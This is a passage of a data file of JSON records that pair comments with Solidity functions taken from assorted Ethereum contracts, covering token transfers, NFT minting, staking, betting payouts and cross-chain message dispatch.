"0.5.2"} {"comment": "/**\r\n * Add a historically significant event (i.e. maintenance, damage \r\n * repair or new owner).\r\n */", "function_code": "function addEvent(uint256 _mileage, \r\n uint256 _repairOrderNumber,\r\n EventType _eventType, \r\n string _description, \r\n string _vin) onlyAuthorized {\r\n\r\n events[sha3(_vin)].push(LedgerEvent({\r\n creationTime: now,\r\n mileage: _mileage,\r\n repairOrderNumber: _repairOrderNumber,\r\n verifier: msg.sender,\r\n eventType: _eventType,\r\n description: _description\r\n }));\r\n \r\n EventLogged(_vin, _eventType, _mileage, msg.sender);\r\n }", "version": "0.4.10"} {"comment": "/**\r\n * Returns the details of a specific event. To be used together with the function\r\n * getEventsCount().\r\n */", "function_code": "function getEvent(string _vin, uint256 _index) constant\r\n returns (uint256 mileage, address verifier, \r\n EventType eventType, string description) {\r\n\r\n LedgerEvent memory e = events[sha3(_vin)][_index];\r\n mileage = e.mileage;\r\n verifier = e.verifier;\r\n eventType = e.eventType;\r\n description = e.description;\r\n }", "version": "0.4.10"} {"comment": "/**\r\n * @dev To invest on shares\r\n * @param _noOfShares No of shares \r\n */", "function_code": "function investOnShare(uint _noOfShares) public payable returns(bool){\r\n require(\r\n lockStatus == false,\r\n \"Contract is locked\"\r\n );\r\n \r\n require(\r\n msg.value == invest.mul(_noOfShares),\r\n \"Incorrect Value\"\r\n );\r\n \r\n require(users[msg.sender].isExist || syncIsExist1(msg.sender) || syncIsExist2(msg.sender),\"User not exist\");\r\n \r\n require(msg.sender != oldEEEMoney1.ownerWallet(), \"old ownerWallet\");\r\n \r\n uint32 size;\r\n \r\n address useraddress = msg.sender;\r\n \r\n assembly {\r\n size := extcodesize(useraddress)\r\n }\r\n \r\n require(size == 0, \"cannot be a contract\");\r\n \r\n uint _value = (msg.value).div(2);\r\n address _referer;\r\n \r\n uint referrerID = users[msg.sender].referrerID;\r\n \r\n if(referrerID == 0)\r\n referrerID = syncReferrerID2(msg.sender);\r\n \r\n if(referrerID == 0)\r\n referrerID = syncReferrerID1(msg.sender);\r\n \r\n \r\n _referer = userList[referrerID];\r\n \r\n if(_referer == address(0))\r\n _referer = oldEEEMoney2.userList(referrerID); \r\n \r\n if(_referer == address(0))\r\n _referer = oldEEEMoney1.userList(referrerID);\r\n \r\n if((_referer == address(0)) || (_referer == oldEEEMoney1.ownerWallet()))\r\n _referer = ownerWallet;\r\n \r\n require(\r\n address(uint160(_referer)).send(_value),\r\n \"Transaction failed\"\r\n ); \r\n \r\n users[_referer].totalEarnedETH = users[_referer].totalEarnedETH.add(_value);\r\n \r\n users[msg.sender].directShare = users[msg.sender].directShare.add(_noOfShares);\r\n users[msg.sender].sharesHoldings = users[msg.sender].sharesHoldings.add(_noOfShares);\r\n \r\n poolMoney = poolMoney.add(_value);\r\n \r\n emit poolMoneyEvent( msg.sender, _value, now);\r\n emit userInversement( msg.sender, _noOfShares, msg.value, now, 1);\r\n \r\n return true;\r\n }", "version": "0.5.16"} {"comment": "// Performs payout based on launch outcome,\n// triggered by bookies.", "function_code": "function performPayout() public canPerformPayout onlyBookieLevel {\r\n // Calculate total pool of ETH\r\n // betted for the two outcomes\r\n \r\n uint losingChunk = this.balance - totalAmountsBet[launchOutcome];\r\n uint bookiePayout = losingChunk / BOOKIE_POOL_COMMISSION; // Payout to the bookies; commission of losing pot\r\n\r\n // Equal weight payout to the bookies\r\n BOOKIES[0].transfer(bookiePayout / 2);\r\n BOOKIES[1].transfer(bookiePayout / 2);\r\n\r\n // Weighted payout to betters based on\r\n // their contribution to the winning pool\r\n for (uint k = 0; k < betters.length; k++) {\r\n uint betOnWinner = betterInfo[betters[k]].amountsBet[launchOutcome];\r\n uint payout = betOnWinner + ((betOnWinner * (losingChunk - bookiePayout)) / totalAmountsBet[launchOutcome]);\r\n\r\n if (payout > 0)\r\n betters[k].transfer(payout);\r\n }\r\n\r\n payoutCompleted = true;\r\n }", "version": "0.4.19"} {"comment": "// Release all the bets back to the betters\n// if, for any reason, payouts cannot be\n// completed. Triggered by bookies.", "function_code": "function releaseBets() public onlyBookieLevel {\r\n uint storedBalance = this.balance;\r\n\r\n for (uint k = 0; k < betters.length; k++) {\r\n uint totalBet = betterInfo[betters[k]].amountsBet[0] + betterInfo[betters[k]].amountsBet[1];\r\n betters[k].transfer(totalBet * storedBalance / totalBetAmount);\r\n }\r\n }", "version": "0.4.19"} {"comment": "// generic minting function :)", "function_code": "function _handleMinting(address _to, uint256 _index, uint8 _type, bool useECType) private {\r\n\r\n // Attempt to mint.\r\n _safeMint(_to, _index);\r\n\r\n localTotalSupply.increment();\r\n\r\n // Removed for now.\r\n if (useECType && _type == 0) {\r\n companionBalance[_to]++;\r\n companionList.push(_index);\r\n noundleOffsetCount[_index] = mintCountCompanions;\r\n mintCountCompanions++;\r\n } else if (useECType && _type == 1) {\r\n evilBalance[_to]++;\r\n evilList.push(_index);\r\n noundleOffsetCount[_index] = mintCountEvil;\r\n mintCountEvil++;\r\n } else if (_type == 2) {\r\n lowLandBalance[_to]++;\r\n lowLandList.push(_index);\r\n noundleOffsetCount[_index] = mintCountLandLow;\r\n mintCountLandLow++;\r\n } else if (_type == 3) {\r\n midLandBalance[_to]++;\r\n midLandList.push(_index);\r\n noundleOffsetCount[_index] = mintCountLandMid;\r\n mintCountLandMid++;\r\n } else if (_type == 4) {\r\n highLandBalance[_to]++;\r\n highLandList.push(_index);\r\n noundleOffsetCount[_index] = mintCountLandHigh;\r\n mintCountLandHigh++;\r\n }\r\n\r\n // Set it's type in place.\r\n noundleType[_index] = _type;\r\n }", "version": "0.8.7"} {"comment": "// Reserves some of the supply of the noundles for giveaways & the community", "function_code": "function reserveNoundles(uint256 _amount, uint8 _type) public onlyOwner {\r\n // enforce reserve limits based on type claimed\r\n if (_type == 0) {\r\n require(reservedComp + _amount <= MAX_RESERVED_COMP, \"Cannot reserve more companions!\");\r\n } else if (_type == 1) {\r\n require(reservedEvil + _amount <= MAX_RESERVED_EVIL, \"Cannot reserve more evil noundles!\");\r\n } else {\r\n require(reservedLand + _amount <= MAX_RESERVED_LAND, \"Cannot reserve more land!\");\r\n }\r\n\r\n uint256 _ts = localTotalSupply.current(); // totalSupply();\r\n\r\n // Mint the reserves.\r\n for (uint256 i; i < _amount; i++) {\r\n _handleMinting(msg.sender, _ts + i, _type, true);\r\n\r\n if (_type == 0) {\r\n reservedComp++;\r\n } else if (_type == 1) {\r\n reservedEvil++;\r\n } else {\r\n reservedLand++;\r\n }\r\n }\r\n }", "version": "0.8.7"} {"comment": "// Mint your evil noundle.", "function_code": "function claimEvilNoundle() public payable isPhaseOneStarted {\r\n uint256 __noundles = localTotalSupply.current(); // totalSupply();\r\n\r\n // Verify request.\r\n require(evilNoundleMint + 1 <= MAX_FREE_EVIL_MINTS, \"We ran out of evil noundles :(\");\r\n require(evilNoundleAllowed[msg.sender], \"You are not on whitelist\");\r\n require(evilNoundleMinted[msg.sender] == false, \"You already minted your free noundle.\");\r\n\r\n // Make sure that the wallet is holding at least 1 noundle.\r\n // require(Originals.getNoundlesFromWallet(msg.sender).length > 0, \"You must hold at least one Noundle to mint\");\r\n\r\n // Burn the rainbows.\r\n Rainbows.burn(msg.sender, evilMintPriceRainbow);\r\n\r\n // Mark it as they already got theirs.\r\n evilNoundleMinted[msg.sender] = true;\r\n\r\n // Add to our free mint count.\r\n evilNoundleMint += 1;\r\n\r\n // Mint it.\r\n _handleMinting(msg.sender, __noundles, 1, true);\r\n }", "version": "0.8.7"} {"comment": "// Mint your free companion.", "function_code": "function mintHolderNoundles() public payable isPhaseOneStarted {\r\n uint256 __noundles = localTotalSupply.current(); // totalSupply();\r\n\r\n // Verify request.\r\n require(freeCompanionMint + 1 <= MAX_FREE_COMPANION_MINTS, \"We ran out of evil noundles :(\");\r\n require(freeCompanionAllowed[msg.sender], \"You are not on whitelist\");\r\n require(freeCompanionMinted[msg.sender] == false, \"You already minted your free companion.\");\r\n\r\n // Make sure that the wallet is holding at least 1 noundle.\r\n require(Originals.getNoundlesFromWallet(msg.sender).length > 0, \"You must hold at least one Noundle to mint\");\r\n\r\n // Mark it as they already got theirs.\r\n freeCompanionMinted[msg.sender] = true;\r\n\r\n // Add to our free mint count.\r\n freeCompanionMint += 1;\r\n\r\n // Mint it.\r\n _handleMinting(msg.sender, __noundles, 0, true);\r\n }", "version": "0.8.7"} {"comment": "// migrate the old contract over", "function_code": "function migrateOldNoundles(uint256[] memory tokens) public payable {\r\n\r\n require(migrationEnabled, \"Migration is not enabled\");\r\n\r\n uint256 __noundles = localTotalSupply.current(); // totalSupply();\r\n\r\n // Look up the types for each.\r\n uint8[] memory foundTypes = BetaTheory.getTypeByTokenIds(tokens);\r\n\r\n uint256 offset = 0;\r\n\r\n // Claim each token they ask to migrate.\r\n for(uint256 i = 0; i < tokens.length; i += 1){\r\n\r\n // Verify it has not already been migrated.\r\n if(alreadyClaimedMigration[tokens[i]]){\r\n continue;\r\n }\r\n\r\n // Verify the owner if the sender.\r\n if(BetaTheory.ownerOf(tokens[i]) != msg.sender){\r\n continue;\r\n }\r\n\r\n // Mark it as already migrated.\r\n alreadyClaimedMigration[tokens[i]] = true;\r\n\r\n // Mint it.\r\n _handleMinting(msg.sender, __noundles + offset, foundTypes[i], true);\r\n\r\n if(foundTypes[i] == 1){\r\n MigrationMapToMap[__noundles + offset] = tokens[i];\r\n\r\n if(percentChance(__noundles + offset, 100, 15)){\r\n MigrationValue[tokens[i]] = 6;\r\n }else {\r\n MigrationValue[tokens[i]] = 3;\r\n }\r\n }\r\n\r\n offset++;\r\n }\r\n }", "version": "0.8.7"} {"comment": "// Handle consuming rainbow to mint a new NFT with random chance.", "function_code": "function mintWithRainbows(uint256 _noundles) public payable isRainbowMintingEnabled {\r\n\r\n if (overrideContractMintBlock == false) {\r\n require(msg.sender == tx.origin, \"No contract minting allowed!\");\r\n }\r\n\r\n uint256 __noundles = localTotalSupply.current(); // totalSupply();\r\n\r\n require(_noundles > 0 && _noundles <= 10, \"Your amount needs to be greater then 0 and can't exceed 10\");\r\n require(_noundles + (mintCountCompanions + mintCountEvil + OG_TOTAL_SUPPLY) <= MAX_EVIL_NOUNDLES, \"We ran out of noundles! Try minting with less!\");\r\n\r\n for (uint256 ___noundles; ___noundles < _noundles; ___noundles++) {\r\n _handleRainbowMinting(msg.sender, __noundles + ___noundles);\r\n }\r\n }", "version": "0.8.7"} {"comment": "// Get a evil out of jail.", "function_code": "function getOutOfJailByTokenId(uint256 _tokenId) public payable isRainbowMintingEnabled {\r\n\r\n // Check that it is a evil noundle.\r\n require(noundleType[_tokenId] == 1, \"Only evil noundles can go to jail.\");\r\n\r\n // Burn the rainbows to get out of jail.\r\n Rainbows.burn(msg.sender, getOutOfJail);\r\n\r\n // Reset the jail time.\r\n jailHouse[_tokenId] = 1;\r\n\r\n // Stat track.\r\n counterBail += 1;\r\n }", "version": "0.8.7"} {"comment": "// Pick a evil noundle randomly from our list.", "function_code": "function getRandomEvilNoundle(uint256 index, uint256 depth) public returns(uint256) {\r\n\r\n // If we have no evil noundles, return.\r\n if(evilList.length == 0){\r\n return 0;\r\n }\r\n\r\n uint256 selectedIndex = RandomNumber.getRandomNumber(index) % evilList.length;\r\n\r\n // If it's not in jail.\r\n if(jailHouse[evilList[selectedIndex]] + jailLength < block.timestamp){\r\n return evilList[selectedIndex];\r\n }\r\n\r\n // If we can't find one in 100 attempts, select none.\r\n if(depth > 99){\r\n return 0;\r\n }\r\n\r\n // If it's in jail, it can't steal so try again.\r\n return getRandomEvilNoundle(index, depth + 1);\r\n }", "version": "0.8.7"} {"comment": "// Gets the noundle theory tokens and returns a array with all the tokens owned", "function_code": "function getNoundlesFromWallet(address _noundles) external view returns (uint256[] memory) {\r\n uint256 __noundles = balanceOf(_noundles);\r\n\r\n uint256[] memory ___noundles = new uint256[](__noundles);\r\n\r\n uint256 offset = 0;\r\n\r\n for (uint256 i; (offset < __noundles) && i < localTotalSupply.current(); i++) {\r\n if(ownerOf(i) == _noundles){\r\n // ___noundles[i] = tokenOfOwnerByIndex(_noundles, i);\r\n ___noundles[offset] = i;\r\n offset += 1;\r\n }\r\n }\r\n\r\n return ___noundles;\r\n }", "version": "0.8.7"} {"comment": "// Returns the addresses that own any evil noundle - seems rare :eyes:", "function_code": "function getEvilNoundleOwners() external view returns (address[] memory) {\r\n address[] memory result = new address[](evilList.length);\r\n\r\n for(uint256 index; index < evilList.length; index += 1){\r\n if(jailHouse[evilList[index]] + jailLength <= block.timestamp){\r\n result[index] = ownerOf(evilList[index]);\r\n }\r\n }\r\n\r\n return result;\r\n }", "version": "0.8.7"} {"comment": "// Helper to convert int to string (thanks stack overflow).", "function_code": "function uint2str(uint _i) internal pure returns (string memory _uintAsString) {\r\n if (_i == 0) {\r\n return \"0\";\r\n }\r\n uint j = _i;\r\n uint len;\r\n while (j != 0) {\r\n len++;\r\n j /= 10;\r\n }\r\n bytes memory bstr = new bytes(len);\r\n uint k = len;\r\n while (_i != 0) {\r\n k = k-1;\r\n uint8 temp = (48 + uint8(_i - _i / 10 * 10));\r\n bytes1 b1 = bytes1(temp);\r\n bstr[k] = b1;\r\n _i /= 10;\r\n }\r\n return string(bstr);\r\n }", "version": "0.8.7"} {"comment": "//Pool UniSwap pair creation method (called by initialSetup() )", "function_code": "function POOL_CreateUniswapPair(address router, address factory) internal returns (address) {\n require(contractInitialized > 0, \"Requires intialization 1st\");\n \n uniswapRouterV2 = IUniswapV2Router02(router != address(0) ? router : 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n uniswapFactory = IUniswapV2Factory(factory != address(0) ? factory : 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f); \n require(UniswapPair == address(0), \"Token: pool already created\");\n \n UniswapPair = uniswapFactory.createPair(address(uniswapRouterV2.WETH()),address(this));\n \n return UniswapPair;\n }", "version": "0.6.6"} {"comment": "/* Once initialSetup has been invoked\n * Team will create the Vault and the LP wrapper token\n *\n * Only AFTER these 2 addresses have been created the users\n * can start contributing in ETH\n */", "function_code": "function secondarySetup(address _Vault, address _wUNIv2) public governanceLevel(2) {\n require(contractInitialized > 0 && contractStart_Timestamp == 0, \"Requires Initialization and Start\");\n setVault(_Vault); //also adds the Vault to noFeeList\n wUNIv2 = _wUNIv2;\n \n require(Vault != address(0) && wUNIv2 != address(0), \"Wrapper Token and Vault not Setup\");\n contractStart_Timestamp = block.timestamp;\n }", "version": "0.6.6"} {"comment": "//=========================================================================================================================================\n// Emergency drain in case of a bug", "function_code": "function emergencyDrain24hAfterLiquidityGenerationEventIsDone() public governanceLevel(2) {\n require(contractStart_Timestamp > 0, \"Requires contractTimestamp > 0\");\n require(contractStart_Timestamp.add(emergencyPeriod) < block.timestamp, \"Liquidity generation grace period still ongoing\"); // About 24h after liquidity generation happens\n \n (bool success, ) = msg.sender.call{value:(address(this).balance)}(\"\");\n require(success, \"ETH Transfer failed... we are cucked\");\n \n ERC20._transfer(address(this), msg.sender, balanceOf(address(this)));\n }", "version": "0.6.6"} {"comment": "//During ETH_ContributionPhase: Users deposit funds\n//funds sent to TOKEN contract.", "function_code": "function USER_PledgeLiquidity(bool agreesToTermsOutlinedInLiquidityGenerationParticipationAgreement) public payable ETH_ContributionPhase {\n require(ethContributed[msg.sender].add(msg.value) <= individualCap, \"max 25ETH contribution per address\");\n require(totalETHContributed.add(msg.value) <= totalCap, \"500 ETH Hard cap\"); \n \n require(agreesToTermsOutlinedInLiquidityGenerationParticipationAgreement, \"No agreement provided\");\n \n ethContributed[msg.sender] = ethContributed[msg.sender].add(msg.value);\n totalETHContributed = totalETHContributed.add(msg.value); // for front end display during LGE\n emit LiquidityAddition(msg.sender, msg.value);\n }", "version": "0.6.6"} {"comment": "// After ETH_ContributionPhase: Pool can create liquidity.\n// Vault and wrapped UNIv2 contracts need to be setup in advance.", "function_code": "function POOL_CreateLiquidity() public LGE_Possible {\n\n totalETHContributed = address(this).balance;\n IUniswapV2Pair pair = IUniswapV2Pair(UniswapPair);\n \n //Wrap eth\n address WETH = uniswapRouterV2.WETH();\n \n //Send to UniSwap\n IWETH(WETH).deposit{value : totalETHContributed}();\n require(address(this).balance == 0 , \"Transfer Failed\");\n IWETH(WETH).transfer(address(pair),totalETHContributed);\n \n emit Transfer(address(this), address(pair), balanceOf(address(this)));\n \n //UniCore balances transfer\n ERC20._transfer(address(this), address(pair), balanceOf(address(this)));\n pair.mint(address(this)); //mint LP tokens. lock method in UniSwapPairV2 PREVENTS FROM DOING IT TWICE\n \n totalLPTokensMinted = pair.balanceOf(address(this));\n \n require(totalLPTokensMinted != 0 , \"LP creation failed\");\n LPperETHUnit = totalLPTokensMinted.mul(1e18).div(totalETHContributed); // 1e18x for change\n require(LPperETHUnit != 0 , \"LP creation failed\");\n \n LGECompleted_Timestamp = block.timestamp;\n }", "version": "0.6.6"} {"comment": "//After ETH_ContributionPhase: Pool can create liquidity.", "function_code": "function USER_ClaimWrappedLiquidity() public LGE_happened {\n require(ethContributed[msg.sender] > 0 , \"Nothing to claim, move along\");\n \n uint256 amountLPToTransfer = ethContributed[msg.sender].mul(LPperETHUnit).div(1e18);\n IReactor(wUNIv2).wTransfer(msg.sender, amountLPToTransfer); // stored as 1e18x value for change\n ethContributed[msg.sender] = 0;\n \n emit LPTokenClaimed(msg.sender, amountLPToTransfer);\n }", "version": "0.6.6"} {"comment": "//=========================================================================================================================================\n//overriden _transfer to take Fees", "function_code": "function _transfer(address sender, address recipient, uint256 amount) internal override Trading_Possible {\n \n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n \n //updates _balances\n setBalance(sender, balanceOf(sender).sub(amount, \"ERC20: transfer amount exceeds balance\"));\n\n //calculate net amounts and fee\n (uint256 toAmount, uint256 toFee) = calculateAmountAndFee(sender, amount);\n \n //Send Reward to Vault 1st\n if(toFee > 0 && Vault != address(0)){\n setBalance(Vault, balanceOf(Vault).add(toFee));\n IVault(Vault).updateRewards(); //updating the vault with rewards sent.\n emit Transfer(sender, Vault, toFee);\n }\n \n //transfer to recipient\n setBalance(recipient, balanceOf(recipient).add(toAmount));\n emit Transfer(sender, recipient, toAmount);\n\n }", "version": "0.6.6"} {"comment": "/**\r\n * Bid on rebalancing a given quantity of sets held by a rebalancing token wrapping or unwrapping\r\n * any ETH involved. The tokens are returned to the user.\r\n *\r\n * @param _rebalancingSetToken Instance of the rebalancing token being bid on\r\n * @param _quantity Number of currentSets to rebalance\r\n * @param _allowPartialFill Set to true if want to partially fill bid when quantity\r\n is greater than currentRemainingSets\r\n */", "function_code": "function bidAndWithdrawWithEther(\r\n IRebalancingSetToken _rebalancingSetToken,\r\n uint256 _quantity,\r\n bool _allowPartialFill\r\n )\r\n external\r\n payable\r\n nonReentrant\r\n {\r\n // Wrap all Ether sent to the contract\r\n weth.deposit.value(msg.value)();\r\n\r\n // Get token addresses\r\n address[] memory combinedTokenArray = _rebalancingSetToken.getCombinedTokenArray();\r\n\r\n // Get inflow and outflow arrays for the given bid quantity\r\n uint256[] memory inflowArray;\r\n uint256[] memory outflowArray;\r\n (\r\n inflowArray,\r\n outflowArray\r\n ) = _rebalancingSetToken.getBidPrice(_quantity);\r\n\r\n // Ensure allowances and transfer non-weth tokens from user\r\n depositNonWethComponents(\r\n combinedTokenArray,\r\n inflowArray\r\n );\r\n\r\n // Bid in auction\r\n rebalanceAuctionModule.bidAndWithdraw(\r\n address(_rebalancingSetToken),\r\n _quantity,\r\n _allowPartialFill\r\n );\r\n\r\n // Withdraw non-weth tokens to user\r\n withdrawNonWethComponentsToSender(\r\n combinedTokenArray\r\n );\r\n\r\n // Unwrap all remaining Ether and transfer to user\r\n uint256 wethBalance = ERC20Wrapper.balanceOf(address(weth), address(this));\r\n if (wethBalance > 0) {\r\n weth.withdraw(wethBalance);\r\n msg.sender.transfer(wethBalance);\r\n }\r\n\r\n // Log bid placed with Eth event\r\n emit BidPlacedWithEth(\r\n address(_rebalancingSetToken),\r\n msg.sender\r\n );\r\n }", "version": "0.5.7"} {"comment": "/**\r\n * Before bidding, calculate the required amount of inflow tokens and deposit token components\r\n * into this helper contract.\r\n *\r\n * @param _combinedTokenArray Array of token addresses\r\n * @param _inflowArray Array of inflow token units\r\n */", "function_code": "function depositNonWethComponents(\r\n address[] memory _combinedTokenArray,\r\n uint256[] memory _inflowArray\r\n )\r\n private\r\n {\r\n // Loop through the combined token addresses array and deposit inflow amounts\r\n for (uint256 i = 0; i < _combinedTokenArray.length; i++) {\r\n address currentComponent = _combinedTokenArray[i];\r\n uint256 currentComponentQuantity = _inflowArray[i];\r\n\r\n // Check component inflow is greater than 0\r\n if (currentComponentQuantity > 0) {\r\n // Ensure allowance for components to transferProxy\r\n ERC20Wrapper.ensureAllowance(\r\n address(currentComponent),\r\n address(this),\r\n address(transferProxy),\r\n currentComponentQuantity\r\n );\r\n\r\n // If not WETH, transfer tokens from user to contract\r\n if (currentComponent != address(weth)) {\r\n // Transfer tokens to contract\r\n ERC20Wrapper.transferFrom(\r\n address(currentComponent),\r\n msg.sender,\r\n address(this),\r\n currentComponentQuantity\r\n );\r\n }\r\n }\r\n }\r\n }", "version": "0.5.7"} {"comment": "/**\r\n * After bidding, loop through token address array and transfer\r\n * token components except wrapped ether to the sender\r\n *\r\n * @param _combinedTokenArray Array of token addresses\r\n */", "function_code": "function withdrawNonWethComponentsToSender(\r\n address[] memory _combinedTokenArray\r\n )\r\n private\r\n {\r\n // Loop through the combined token addresses array and withdraw leftover amounts\r\n for (uint256 i = 0; i < _combinedTokenArray.length; i++) {\r\n address currentComponent = _combinedTokenArray[i];\r\n\r\n // Get balance of tokens in contract\r\n uint256 currentComponentBalance = ERC20Wrapper.balanceOf(\r\n currentComponent,\r\n address(this)\r\n );\r\n\r\n // Check component balance is greater than 0\r\n if (currentComponentBalance > 0 && currentComponent != address(weth)) {\r\n // Withdraw tokens from the contract and send to the user\r\n ERC20Wrapper.transfer(\r\n address(currentComponent),\r\n msg.sender,\r\n currentComponentBalance\r\n );\r\n }\r\n }\r\n }", "version": "0.5.7"} {"comment": "// modified Transfer Function to log times @ accts balances exceed minReqBal, for Sublimation Pool\n// modified Transfer Function to safeguard Uniswap liquidity during token sale", "function_code": "function _transfer(address sender, address recipient, uint256 amount) internal virtual {\r\n \r\n if(allowUniswap == false && sender != _owner && recipient == UniswapPair ){\r\n revert(\"UNI_LIQ_PLAY_NOT_YET\");\r\n } else {\r\n \r\n require(sender != address(0), \"ERC20: transfer from the zero address\");\r\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\r\n\r\n _beforeTokenTransfer(sender, recipient, amount);\r\n \r\n _balances[sender] = _balances[sender].sub(amount, \"ERC20: transfer amount exceeds balance\");\r\n \r\n bool isOverReq = false;\r\n\r\n if(_balances[recipient] >= _minBalReq){\r\n\r\n isOverReq = true;\r\n }\r\n \r\n _balances[recipient] = _balances[recipient].add(amount);\r\n \r\n if(_balances[recipient] >= _minBalReq && isOverReq == false){\r\n \r\n _timeExceeded[recipient] = uint32(block.timestamp);\r\n }\r\n \r\n emit Transfer(sender, recipient, amount);\r\n }\r\n }", "version": "0.7.6"} {"comment": "/**\n * @notice Dispatch the message it to the destination domain & recipient\n * @dev Format the message, insert its hash into Merkle tree,\n * enqueue the new Merkle root, and emit `Dispatch` event with message information.\n * @param _destinationDomain Domain of destination chain\n * @param _recipientAddress Address of recipient on destination chain as bytes32\n * @param _messageBody Raw bytes content of message\n */", "function_code": "function dispatch(\n uint32 _destinationDomain,\n bytes32 _recipientAddress,\n bytes memory _messageBody\n ) external notFailed {\n require(_messageBody.length <= MAX_MESSAGE_BODY_BYTES, \"msg too long\");\n // get the next nonce for the destination domain, then increment it\n uint32 _nonce = nonces[_destinationDomain];\n nonces[_destinationDomain] = _nonce + 1;\n // format the message into packed bytes\n bytes memory _message = Message.formatMessage(\n localDomain,\n bytes32(uint256(uint160(msg.sender))),\n _nonce,\n _destinationDomain,\n _recipientAddress,\n _messageBody\n );\n // insert the hashed message into the Merkle tree\n bytes32 _messageHash = keccak256(_message);\n tree.insert(_messageHash);\n // enqueue the new Merkle root after inserting the message\n queue.enqueue(root());\n // Emit Dispatch event with message information\n // note: leafIndex is count() - 1 since new leaf has already been inserted\n emit Dispatch(\n _messageHash,\n count() - 1,\n _destinationAndNonce(_destinationDomain, _nonce),\n committedRoot,\n _message\n );\n }", "version": "0.7.6"} {"comment": "/**\n * @notice Submit a signature from the Updater \"notarizing\" a root,\n * which updates the Home contract's `committedRoot`,\n * and publishes the signature which will be relayed to Replica contracts\n * @dev emits Update event\n * @dev If _newRoot is not contained in the queue,\n * the Update is a fraudulent Improper Update, so\n * the Updater is slashed & Home is set to FAILED state\n * @param _committedRoot Current updated merkle root which the update is building off of\n * @param _newRoot New merkle root to update the contract state to\n * @param _signature Updater signature on `_committedRoot` and `_newRoot`\n */", "function_code": "function update(\n bytes32 _committedRoot,\n bytes32 _newRoot,\n bytes memory _signature\n ) external notFailed {\n // check that the update is not fraudulent;\n // if fraud is detected, Updater is slashed & Home is set to FAILED state\n if (improperUpdate(_committedRoot, _newRoot, _signature)) return;\n // clear all of the intermediate roots contained in this update from the queue\n while (true) {\n bytes32 _next = queue.dequeue();\n if (_next == _newRoot) break;\n }\n // update the Home state with the latest signed root & emit event\n committedRoot = _newRoot;\n emit Update(localDomain, _committedRoot, _newRoot, _signature);\n }", "version": "0.7.6"} {"comment": "/**\n * @notice Check if an Update is an Improper Update;\n * if so, slash the Updater and set the contract to FAILED state.\n *\n * An Improper Update is an update building off of the Home's `committedRoot`\n * for which the `_newRoot` does not currently exist in the Home's queue.\n * This would mean that message(s) that were not truly\n * dispatched on Home were falsely included in the signed root.\n *\n * An Improper Update will only be accepted as valid by the Replica\n * If an Improper Update is attempted on Home,\n * the Updater will be slashed immediately.\n * If an Improper Update is submitted to the Replica,\n * it should be relayed to the Home contract using this function\n * in order to slash the Updater with an Improper Update.\n *\n * An Improper Update submitted to the Replica is only valid\n * while the `_oldRoot` is still equal to the `committedRoot` on Home;\n * if the `committedRoot` on Home has already been updated with a valid Update,\n * then the Updater should be slashed with a Double Update.\n * @dev Reverts (and doesn't slash updater) if signature is invalid or\n * update not current\n * @param _oldRoot Old merkle tree root (should equal home's committedRoot)\n * @param _newRoot New merkle tree root\n * @param _signature Updater signature on `_oldRoot` and `_newRoot`\n * @return TRUE if update was an Improper Update (implying Updater was slashed)\n */", "function_code": "function improperUpdate(\n bytes32 _oldRoot,\n bytes32 _newRoot,\n bytes memory _signature\n ) public notFailed returns (bool) {\n require(\n _isUpdaterSignature(_oldRoot, _newRoot, _signature),\n \"!updater sig\"\n );\n require(_oldRoot == committedRoot, \"not a current update\");\n // if the _newRoot is not currently contained in the queue,\n // slash the Updater and set the contract to FAILED state\n if (!queue.contains(_newRoot)) {\n _fail();\n emit ImproperUpdate(_oldRoot, _newRoot, _signature);\n return true;\n }\n // if the _newRoot is contained in the queue,\n // this is not an improper update\n return false;\n }", "version": "0.7.6"} {"comment": "// n form 1 <= to <= 32", "function_code": "function getBetValue(bytes32 values, uint8 n) private constant returns (uint256)\r\n {\r\n // bet in credits (1..256) \r\n uint256 bet = uint256(values[32-n])+1;\r\n\r\n // check min bet\r\n uint8 minCredits = minCreditsOnBet[n];\r\n if (minCredits == 0) minCredits = defaultMinCreditsOnBet;\r\n if (bet < minCredits) throw;\r\n \r\n // bet in wei\r\n bet = currentMaxBet*bet/256;\r\n if (bet > currentMaxBet) throw; \r\n\r\n return bet; \r\n }", "version": "0.4.8"} {"comment": "/**\r\n * @dev Private implementation of staking methods.\r\n * @param staker User address who deposits tokens to stake.\r\n * @param beneficiary User address who gains credit for this stake operation.\r\n * @param amount Number of deposit tokens to stake.\r\n */", "function_code": "function _stakeFor(address staker, address beneficiary, uint256 amount) private {\r\n require(amount > 0, 'SeigniorageMining: stake amount is zero');\r\n require(beneficiary != address(0), 'SeigniorageMining: beneficiary is zero address');\r\n require(totalStakingShares == 0 || totalStaked() > 0,\r\n 'SeigniorageMining: Invalid state. Staking shares exist, but no staking tokens do');\r\n\r\n uint256 mintedStakingShares = (totalStakingShares > 0)\r\n ? totalStakingShares.mul(amount).div(totalStaked())\r\n : amount.mul(_initialSharesPerToken);\r\n require(mintedStakingShares > 0, 'SeigniorageMining: Stake amount is too small');\r\n\r\n updateAccounting();\r\n\r\n // 1. User Accounting\r\n UserTotals storage totals = _userTotals[beneficiary];\r\n totals.stakingShares = totals.stakingShares.add(mintedStakingShares);\r\n totals.lastAccountingTimestampSec = now;\r\n\r\n Stake memory newStake = Stake(mintedStakingShares, now);\r\n _userStakes[beneficiary].push(newStake);\r\n\r\n // 2. Global Accounting\r\n totalStakingShares = totalStakingShares.add(mintedStakingShares);\r\n // Already set in updateAccounting()\r\n // _lastAccountingTimestampSec = now;\r\n\r\n // interactions\r\n require(_stakingPool.token().transferFrom(staker, address(_stakingPool), amount),\r\n 'SeigniorageMining: transfer into staking pool failed');\r\n\r\n emit Staked(beneficiary, amount, totalStakedFor(beneficiary), \"\");\r\n }", "version": "0.5.0"} {"comment": "/**\r\n * @dev A globally callable function to update the accounting state of the system.\r\n * Global state and state for the caller are updated.\r\n * @return [0] balance of the locked pool\r\n * @return [1] balance of the unlocked pool\r\n * @return [2] caller's staking share seconds\r\n * @return [3] global staking share seconds\r\n * @return [4] Rewards caller has accumulated\r\n * @return [5] Dollar Rewards caller has accumulated\r\n * @return [6] block timestamp\r\n */", "function_code": "function updateAccounting() public returns (\r\n uint256, uint256, uint256, uint256, uint256, uint256, uint256) {\r\n\r\n unlockTokens();\r\n\r\n // Global accounting\r\n uint256 newStakingShareSeconds =\r\n now\r\n 